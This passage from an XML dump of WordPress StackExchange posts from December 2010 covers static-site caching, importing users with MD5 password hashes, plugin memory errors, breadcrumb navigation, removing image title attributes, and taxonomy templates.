&lt;code&gt;htmlCached::bootstrap();&lt;/code&gt; in front. this will do the job. The job is the following:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;htmlCached will enable output buffering with a callback routine.&lt;/li&gt;&#xA;&lt;li&gt;the application runs as normal&lt;/li&gt;&#xA;&lt;li&gt;htmlCached sees when the application shuts down (that is, when wordpress has done everything, it's a pretty stupid application, so you can do these tricks)&lt;/li&gt;&#xA;&lt;li&gt;On shutdown, htmlCached saves the server response to disk (next to sending it to the browser).&lt;/li&gt;&#xA;&lt;li&gt;On the next request, apache will serve the static contents.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So this is easy for the moment. What you need to double check with wordpress are CSS files, JS scripts and probably images / files (multisite!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't run multisite nor complicated caching plugins, you might be already good to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check which files / URLS have been requested over the lifetime of your site. Build a list, request all files once. Job done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then delete all .php files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kill the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just freezed your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your Permalink structure did not end to .html for all links, I would suggest to save all files as .html (.html added to the request) and then configure the .htaccess file accordingly. So to check for REQUEST-URL + .html for &lt;code&gt;-f&lt;/code&gt; and if it does not exists, to run the htmlCached WP instance (which adds .html to the filename as well, if that's not already in my example code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy implementing. Backup first (as usual). For migration stuff, you can make your database read-only by setting the according rights for the MySQL user. I would do that in between, so you don't need to hurry to implement this. E.g. finding out about all URLs that have been requested since 10 years or so can be challeging and might take some time.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-29T23:55:39.457" CommentCount="2" />
  <row Id="6118" PostTypeId="1" AcceptedAnswerId="6129" CreationDate="2010-12-30T00:10:35.237" Score="1" ViewCount="216" Body="&lt;p&gt;I have a spreadsheet that was provided to me of users to import to a new site I have built.  I was provided with the password in MD5 hash form.  I suspect if I insert this into the password field in the database, since it is MD5 it will still match their password when the user tries to login on the new system.  Is this a correct assumption?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a large amount of metadata for each user that needs to be inserted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I want to insert the md5 string, and not the password text and the extra custom meta fields, I don't think I can use wp_insert_user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have experience with this type of thing?  I am thinking I will just do something directly in mysql, rather than hack up a WP plugin, any suggestions would be appreciated though.&lt;/p&gt;&#xA;" OwnerUserId="2092" LastActivityDate="2010-12-31T11:57:17.230" Title="importing users where password is provided as md5 + much metadata" Tags="&lt;users&gt;&lt;mysql&gt;" AnswerCount="2" />
  <row Id="6119" PostTypeId="2" ParentId="6118" CreationDate="2010-12-30T00:25:06.993" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;I suspect if I insert this into the password field in the database, since it is MD5 it will still match their password when the user tries to login on the new system. Is this a correct assumption?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the sourcecode of your wordpress version FIRST to verify that. It might be that this is not the default behavior. So check the source and do a quick hack of your install (put it under &lt;a href=&quot;http://git-scm.com/&quot; rel=&quot;nofollow&quot;&gt;GIT&lt;/a&gt; , so you have UNDO while editing core (it's fast and you start with &lt;code&gt;git init&lt;/code&gt;). This won't kill a single kitten but boost your workflow BTW).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after you have fixed your login problem (Solution: Add a check against the MD5 hash, if matching, regenerate the password hash with &lt;a href=&quot;http://hakre.wordpress.com/2010/01/10/hashcat-vs-phpass/&quot; rel=&quot;nofollow&quot;&gt;phpass&lt;/a&gt;) you can think about the metadata problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My answer does not cover it much. I mean, just add the data somehow, it should be trivial. Just add it. If the data is incompatible with your site, you might need to extend your site first, so whatever the deal is, I'm pretty sure you get it managed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Insert into the database directly. Just do a MySQL query that does the job. Don't wiggle around too much with wordpress PHP code. Wordpress only knows the MySQL database to store the data. So if you control the data, you control wordpress ;).&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-12-31T11:57:17.230" LastActivityDate="2010-12-31T11:57:17.230" CommentCount="1" />
  <row Id="6120" PostTypeId="2" ParentId="6111" CreationDate="2010-12-30T00:34:16.597" Score="3" ViewCount="" Body="&lt;p&gt;David, welcome to wordpress answers. The answer is: Switch to some other platform. Wordpress can not with what's currently in core produce such a result easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically spoken it's possible, but folks hate me here to say how (well Apache + PHP) in concrete, so I don't tell it because I fear the negative karma this give on this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just switch to something else if you seriously want to do such stuff and more. Like symfony2 with a database layer. After about one to three month as a single developer you can achieve much more then you can imagine with wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the best thing is: You can even add a wordpress blog later on. ;)&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-30T00:34:16.597" CommentCount="2" />
  <row Id="6121" PostTypeId="2" ParentId="6090" CreationDate="2010-12-30T01:07:48.937" Score="0" ViewCount="" Body="&lt;p&gt;even though the evolution from blog to CMS is somehow naturally (&lt;a href=&quot;http://i1t2b3.com/2010/09/01/interview-with-matt-mullenweg-the-wordpress-creator/&quot; rel=&quot;nofollow&quot;&gt;as Matt Mullenweg expressed it once&lt;/a&gt;), it does not mean that wordpress is a CMS that can express complex data structures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might wonder about what actually is complex in your question. Well, what you are basically try to do in wordpress terms is to add a taxnomoy on to a taxonomy. Such a thing does not exists in worpdress. You can add a taxonomy to posts and that's it. It's not reciprocal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what you can do with wordpress is to mutate through slugs. Which can mean: You can combine datatypes over a common named slug value, which is a simplified, normalized value of a taxonomy or post title that is already used in the resolution of content (query of something by URL, also known as permalinks in wordpress).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to say for a simple solution: The taxnonomy of actor shares the same slug for the actor name as posts for the actor do. Those posts (which are of a custom type) do have a custom taxonomy which represent a roles name (to add the character the actor is playing in a work). Next to that, you add a taxonomy of work to this post typeto query both: Actor-&gt;Role and Actor-&gt;Play While Play-&gt;Role is still maintained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not really optimal, but &lt;em&gt;this is WordPress&lt;/em&gt;&amp;trade; and you asked for it here, it's at least some way you could do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this sounds too complicated, look for a CMS that is offering own content types in which you can just represent the data you want to express. One that ships with database abstraction and a form generator is &lt;a href=&quot;http://www.kajona.de/&quot; rel=&quot;nofollow&quot;&gt;Kajona3&lt;/a&gt;, which still is pretty lighweight and mature. LGPL license. But to that's more or less out of the scope of this site.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-30T01:07:48.937" />
  <row Id="6123" PostTypeId="2" ParentId="6103" CreationDate="2010-12-30T04:25:14.413" Score="2" ViewCount="" Body="&lt;p&gt;Simpler way to figure out the post type of the item (which you are editing) and uploading media to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$type = get_post_type($_REQUEST['post_id']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As has been noted, the media upload iframe that is shown in the lightbox overlay when you try to upload something doesn't indicate the parent post that new upload will be attached to. But the &lt;code&gt;$_REQUEST&lt;/code&gt; is still active from the edit window, and still contains the post_id of the item you're editing - so just query the type for that id...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this technique in various hooks and filters - I've used the &lt;code&gt;intermediate_image_sizes&lt;/code&gt; filter for image processing before, but not for this particular problem, but it should work there too...&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2010-12-30T04:25:14.413" CommentCount="2" />
  <row Id="6126" PostTypeId="1" CreationDate="2010-12-30T05:58:42.833" Score="0" ViewCount="104" Body="&lt;p&gt;I'm getting this error repeatedly in my error.log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Wed Dec 29 13:46:37 2010] [error] [mod_pagespeed 0.9.11.5-293] http://marcandkatie.co.za/index.php:1: Reached end of document without finding &amp;lt;body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I believe it's caused my site todo this when I go to the admin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 4666733 bytes) in /home/marc_and_katie/marcandkatie.co.za/wp-includes/wp-db.php on line 849&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="2050" LastActivityDate="2011-01-30T04:17:44.300" Title="Reached end of document without finding - using mod_pagespeed" Tags="&lt;modifications&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="6127" PostTypeId="2" ParentId="6126" CreationDate="2010-12-30T06:03:30.503" Score="0" ViewCount="" Body="&lt;p&gt;this error is caused because of wp-cache plugin, not sure but clear your cache from, the error might go&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2010-12-30T06:03:30.503" CommentCount="15" />
  <row Id="6128" PostTypeId="1" CreationDate="2010-12-30T06:03:33.360" Score="0" ViewCount="149" Body="&lt;p&gt;I'm building a review site with lots of different categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what the site strucure is shaping up to be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;backtoschool.com&lt;/li&gt;&#xA;&lt;li&gt;backtoschool.com/reviews/&lt;/li&gt;&#xA;&lt;li&gt;backtoschool.com/reviews/calculators&lt;/li&gt;&#xA;&lt;li&gt;backtoschool.com/reviews/mechanical-pencils&lt;/li&gt;&#xA;&lt;li&gt;backtoschool.com/blog/&lt;/li&gt;&#xA;&lt;li&gt;etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm trying to maintain a visual hierarchy of site navigation, e.g. users at &quot;backtoschool.com/reviews/calculators&quot; should be able to easily see that they're browsing the Calculators subsection within the Reviews section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's where I've given myself a headache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, I want my individual calculator and whatnot reviews to be located at the root directory, e.g. when users on &quot;website.com/reviews/calculators&quot; click on a link to my TI-83 Review, they should be taken to &quot;website.com/texas-instruments-ti-83-review&quot;, NOT &quot;website.com/reviews/calculators/texas-instruments-ti-83-review&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This leaves me confused as to how I can retain a logical breadcrumb structure (visually speaking).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking that I could write some kind of IF/THEN statement perhaps in single.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I could write something to the effect of IF post category=calculator-review, THEN load calculator-review.css AND write breadcrumb indicators aka &quot;All Reviews --&gt; Calculators&quot; to the HTML just below the main navigation. On calculator-review.css, I would create styles that would give contrast to the main navigation &quot;Reviews&quot; section, and then below that give contrast to &quot;Calculators&quot; placed in the PHP-written breadcrumb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR - and here's where my head explodes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I instead create a custom post template like calculator-reviews.php for review section, and then just be sure to use the correct post template for every individual review? This seems easier but I like to keep plugins to a minimum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would greatly appreciate your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT for clarity:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;backtoschool.com/reviews/&quot; is a Page that contains a list of review types, e.g. calculators, pens, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;backtoschool.com/reviews/calculators&quot; is a Page that contains a list of individual reviews of calculators, which are Posts located on the root domain, e.g. &quot;backtoschool.com/ti-83-review&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those review Posts will need to somehow be marked so that the WP loop can get all the calculator Posts, and display an excerpt of (some of) them on &quot;backtoschool.com/reviews/calculators/&quot;. The review Posts will also need to display breadcrumbs linking back to for example &quot;backtoschool.com/reviews/&quot; and &quot;backtoschool.com/reviews/calculators&quot; IF and ONLY if the user is viewing a review Post on a calculator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.touchmyapps.com/category/review/&quot; rel=&quot;nofollow&quot;&gt;http://www.touchmyapps.com/category/review/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;^^This site does pretty close to what I want mine to do wrt URLs and breadcrumbs&lt;/p&gt;&#xA;" LastActivityDate="2011-08-07T09:20:08.003" Title="How to retain visual breadcrumbs w/ tricky URL structure? Custom post template?" Tags="&lt;customization&gt;&lt;navigation&gt;" AnswerCount="1" CommentCount="9" />
  <row Id="6129" PostTypeId="2" ParentId="6118" CreationDate="2010-12-30T06:29:00.643" Score="3" ViewCount="" Body="&lt;p&gt;WordPress used MD5 for password hash in the past, but had since moved on to more secure phpass. The good thing is that it retains backwards compatibility - if user had old MD5 hash then it will be checked as such and automatically re-hashed and re-saved using current algorithm, see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_check_password&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_check_password()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are correct that you cannot use &lt;code&gt;wp_insert_user()&lt;/code&gt; because it expect plain text password.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-30T06:29:00.643" CommentCount="1" />
  <row Id="6130" PostTypeId="2" ParentId="3854" CreationDate="2010-12-30T06:29:50.170" Score="0" ViewCount="" Body="&lt;p&gt;I have no problem uploading pics that way, the problem for me is that my website is for my DJ promotions. I have MP3's that are about an hour long about 80MB big, wordpress wont let me use their Media Uploader because of the size of the files. I have uploaded them to my hosting site in the files directories using FireFTP but the files wont show up on Wordpress Media Uploader. What can I do?&lt;/p&gt;&#xA;" LastActivityDate="2010-12-30T06:29:50.170" />
  <row Id="6131" PostTypeId="2" ParentId="6126" CreationDate="2010-12-30T06:41:05.863" Score="0" ViewCount="" Body="&lt;p&gt;It seems like something in your WordPress installation exhausts available resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is impossible to even guess from this much information, first step would be to disable all plugins and troubleshoot from there. Since you don't have access to admin see &lt;a href=&quot;http://codex.wordpress.org/FAQ_Troubleshooting#How_to_deactivate_all_plugins_when_not_able_to_access_the_administrative_menus.3F&quot; rel=&quot;nofollow&quot;&gt;How to deactivate all plugins when not able to access the administrative menus?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-30T06:41:05.863" />
  <row Id="6132" PostTypeId="2" ParentId="6126" CreationDate="2010-12-30T06:56:25.763" Score="-1" ViewCount="" Body="&lt;p&gt;Just an FYI the error you're getting from mod_pagespeed is AFTER the php error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete the plugin completely, and then re-install the w3-total-cache plugin, and then run a compatibility check.. see if it says anything about permissions or ownership. &lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-12-30T06:56:25.763" CommentCount="3" />
  <row Id="6133" PostTypeId="2" ParentId="6083" CreationDate="2010-12-30T11:27:51.873" Score="0" ViewCount="" Body="&lt;p&gt;Is this the right way to do it? (I can't test this right):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $id = get_cat_id($current_category);&#xA;    $wp_query = new WP_Query('cat='. $id .'&amp;amp;posts_per_page=3'.'&amp;amp;paged='.$paged);&#xA;    while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post();&#xA;?&amp;gt;&#xA;    &amp;lt;?php the_content( __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'themename' ) ); ?&amp;gt; &#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php if (  $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;    &amp;lt;nav id=&quot;nav-below&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;next&quot;&amp;gt;&amp;lt;?php previous_posts_link( __( '&amp;lt;span&amp;gt;&amp;lt;/span&amp;gt; Previous ', 'themename' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;prev&quot;&amp;gt;&amp;lt;?php next_posts_link( __( 'Next &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;', 'themename' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-12-30T11:27:51.873" />
  <row Id="6135" PostTypeId="1" CreationDate="2010-12-30T14:36:17.563" Score="0" ViewCount="1008" Body="&lt;p&gt;I'm looking for a way to remove the &lt;em&gt;title&lt;/em&gt; attribute from images, preferably through using a hook or a filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most clients don't bother giving images a proper title, thus eliminating the purpose of this attribute. I prefer no tooltips to random, non-descriptive ones.&lt;/p&gt;&#xA;" OwnerUserId="1557" LastActivityDate="2011-06-16T14:09:25.247" Title="Remove title attribute from images" Tags="&lt;images&gt;&lt;hooks&gt;&lt;filters&gt;&lt;post-thumbnails&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" />
  <row Id="6136" PostTypeId="1" AcceptedAnswerId="6142" CreationDate="2010-12-30T14:38:25.003" Score="0" ViewCount="144" Body="&lt;p&gt;I have been working on using featured image to create a list of items on the right column here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.julianamaeberger.com/soma/news/&quot; rel=&quot;nofollow&quot;&gt;http://www.julianamaeberger.com/soma/news/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current featured image is now being given a class of &quot;highlighted&quot; so that you can tell which image is related to the post. I now need to move that li class=&quot;highlighted&quot; to the top of the list so that it's always visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is jquery sortable the best option here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="1858" LastActivityDate="2011-01-02T18:17:28.660" Title="How to move featured image to the top of the list?" Tags="&lt;jquery&gt;&lt;post-thumbnails&gt;&lt;current-filter&gt;" AnswerCount="1" />
  <row Id="6137" PostTypeId="2" ParentId="6135" CreationDate="2010-12-30T15:18:59.260" Score="4" ViewCount="" Body="&lt;p&gt;I would &lt;em&gt;strongly&lt;/em&gt; discourage this.  A better, more sustainable practice would be to educate your clients on the value of the &lt;code&gt;title&lt;/code&gt; attribute and teach them how to use it properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply removing it is putting a bandage on the symptom, &lt;em&gt;not&lt;/em&gt; combating the disease.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you do want to remove the attribute anyway, there are a couple of ways to do it:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Use a Content Filter&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Post content runs through a filter before being displayed on the screen.  This filter will do several things: transform quote marks into curly quotes, capitalize the P in WordPress, etc.  It also handles shortcodes that are present in the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can pass your content through a filter that uses regular expressions to find &lt;code&gt;&amp;lt;img /&amp;gt;&lt;/code&gt; tags and remove the &lt;code&gt;title&lt;/code&gt; attribute.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Use a Plug-in&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;A quick search of the plug-in repository returned &lt;a href=&quot;http://wordpress.org/extend/plugins/img-title-removal/&quot; rel=&quot;nofollow&quot;&gt;Img Title Removal&lt;/a&gt;, a plug-in that claims to do exactly what you want.  A quick look at the code shows it does option 1 exactly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Img Title Removal&#xA;Plugin URI: http://www.glauserconsulting.com/2008/11/nu-agency/&#xA;Description: Filter plugin that removes all title tags from images in posts.&#xA;Author: Ivan Glauser&#xA;Version: 0.2.1&#xA;Author URI: http://www.glauserconsulting.com&#xA;*/&#xA;&#xA;add_filter('the_content', 'remove_img_titles');&#xA;&#xA;function remove_img_titles($text) {&#xA;&#xA;    // Get all title=&quot;...&quot; tags from the html.&#xA;    $result = array();&#xA;    preg_match_all('|title=&quot;[^&quot;]*&quot;|U', $text, $result);&#xA;&#xA;    // Replace all occurances with an empty string.&#xA;    foreach($result[0] as $img_tag) {&#xA;        $text = str_replace($img_tag, '', $text);&#xA;    }&#xA;&#xA;    return $text;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Use JavaScript&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;A third option would be to dynamically remove the &lt;code&gt;title&lt;/code&gt; attributes after they've been rendered on the page.  If you absolutely &lt;em&gt;must&lt;/em&gt; remove them, this is the system I'd recommend because the &lt;code&gt;title&lt;/code&gt; will still be in the HTML code (for screen readers) but will be removed when the document loads so you avoid the &quot;random, non-descriptive&quot; tooltips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using jQuery, you can select all &lt;code&gt;&amp;lt;img /&amp;gt;&lt;/code&gt; elements on the page that have a &lt;code&gt;title&lt;/code&gt; attribute and remove it.  Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;    $('img[title]').each(function() { $(this).removeAttr('title'); });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-06-16T14:09:25.247" LastActivityDate="2011-06-16T14:09:25.247" CommentCount="5" />
  <row Id="6138" PostTypeId="2" ParentId="3122" CreationDate="2010-12-30T15:34:43.950" Score="0" ViewCount="" Body="&lt;p&gt;i'm stepping into this topic cos i have a similar problem driving me crazy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a site with a CPT 'fotolog'. The posts and pagination of the blog work fine. But when it comes to the posts and pagination of my CPT it goes wrong. If i dont use the flush_rewrite_rules( false ); function, i can see the posts but the pagination doesnt work. If a use the function it's the oposite, i cant see the posts (404) but i get the pagination!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd really be grateful for some help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps: should i create a new topic rather than writing an answer here? I wanted to add a comment but can't.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2010-12-30T15:34:43.950" CommentCount="2" />
  <row Id="6139" PostTypeId="2" ParentId="6135" CreationDate="2010-12-30T15:42:40.477" Score="-3" ViewCount="" Body="&lt;p&gt;If you're looking for a way to let the title &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; field empty and not automatically loaded with the file's name on a picture upload, here's a way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Goto wp-admin/includes/media.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 911 &lt;code&gt;&amp;lt;input type='text' class='text urlfield' name='attachments[$post-&amp;gt;ID][url]' value='&quot; . esc_attr($url) . &quot;' /&amp;gt;&amp;lt;br /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change it to: &lt;code&gt;&amp;lt;input type='text' class='text urlfield' name='attachments[$post-&amp;gt;ID][url]' value='' /&amp;gt;&amp;lt;br /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have lots of clients that dont care about this.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2010-12-30T15:42:40.477" CommentCount="5" />
  <row Id="6140" PostTypeId="1" AcceptedAnswerId="6141" CreationDate="2010-12-30T15:54:59.167" Score="0" ViewCount="377" Body="&lt;p&gt;Ok so i have a custom post type called 'profile' with a custom taxonomy called 'company'. The site has many profiles and companies defined, with profiles being associated with companies as necessary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a taxonomy-company.php template and have the correct profiles being displayed, but i don't know how to get the name of the company being displayed so that i can put it at the top of the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a quick way, perhaps a variable or function call that gets me that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2010-12-30T16:41:02.340" Title="Custom Post Type, Custom Taxonomy Template: How to get current taxonomy name?" Tags="&lt;custom-post-types&gt;&lt;template&gt;" AnswerCount="1" />
  <row Id="6141" PostTypeId="2" ParentId="6140" CreationDate="2010-12-30T16:41:02.340" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/query.php#L2710&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$wp_query-&amp;gt;get_queried_object()&lt;/code&gt;&lt;/a&gt; will give you the taxonomy term you're currently displaying. It works in many other situations too, like categories, authors, ...&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-30T16:41:02.340" CommentCount="2" />
  <row Id="6142" PostTypeId="2" ParentId="6136" CreationDate="2010-12-30T16:51:05.810" Score="0" ViewCount="" Body="&lt;p&gt;Can't you do this in HTML? So instead of printing everything in your loop, append it to a string that you print in the end. That way you can keep special stuff apart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume this is a follow-up question to your previous question about featured images, so I will use &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5238/how-to-show-a-featured-image-as-current/5267#5267&quot;&gt;the code from my answer there&lt;/a&gt; as an example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$testimonials = get_posts( array(&#xA;    'category_name' =&amp;gt; 'testimonial',&#xA;    'numberposts' =&amp;gt; -1,&#xA;    'order' =&amp;gt; 'DESC'&#xA;) );&#xA;$highlighted_testimonial_thumbnail = '';&#xA;$other_testimonial_thumbnails = '';&#xA;foreach ( $testimonials as $testimonial ) {&#xA;    if ( $testimonial-&amp;gt;ID == $current_testimonial_id ) {&#xA;        $highlighted_testimonial_thumbnail = '&amp;lt;li class=&quot;highlighted&quot;&amp;gt;' . get_the_post_thumbnail( $testimonial-&amp;gt;ID, 'nav' ) . '&amp;lt;/li&amp;gt;';&#xA;    } else {&#xA;        $other_testimonial_thumbnails .= '&amp;lt;li&amp;gt;' . get_the_post_thumbnail( $testimonial-&amp;gt;ID, 'nav' ) . '&amp;lt;/li&amp;gt;';&#xA;    }&#xA;}&#xA;echo '&amp;lt;ul class=&quot;portfolio&quot;&amp;gt;';&#xA;echo $highlighted_testimonial_thumbnail;&#xA;echo $other_testimonial_thumbnails;&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or more generic: instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( $array_of_stuff as $stuff ) {&#xA;    echo $stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output = '';&#xA;$featured_output = '';&#xA;foreach ( $array_of_stuff as $stuff ) {&#xA;    if ( is_featured( $stuff ) ) {&#xA;        $featured_output = $stuff;&#xA;    } else {&#xA;        $output .= $stuff;&#xA;    }&#xA;}&#xA;&#xA;echo $featured_output;&#xA;echo $output;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Almost all functions in WordPress that echo something have an equivalent that doesn't echo but just returns it. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_content&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_content()&lt;/code&gt;&lt;/a&gt; vs &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_content&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_content()&lt;/code&gt;&lt;/a&gt; for example.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-02T18:17:28.660" LastActivityDate="2011-01-02T18:17:28.660" CommentCount="3" />
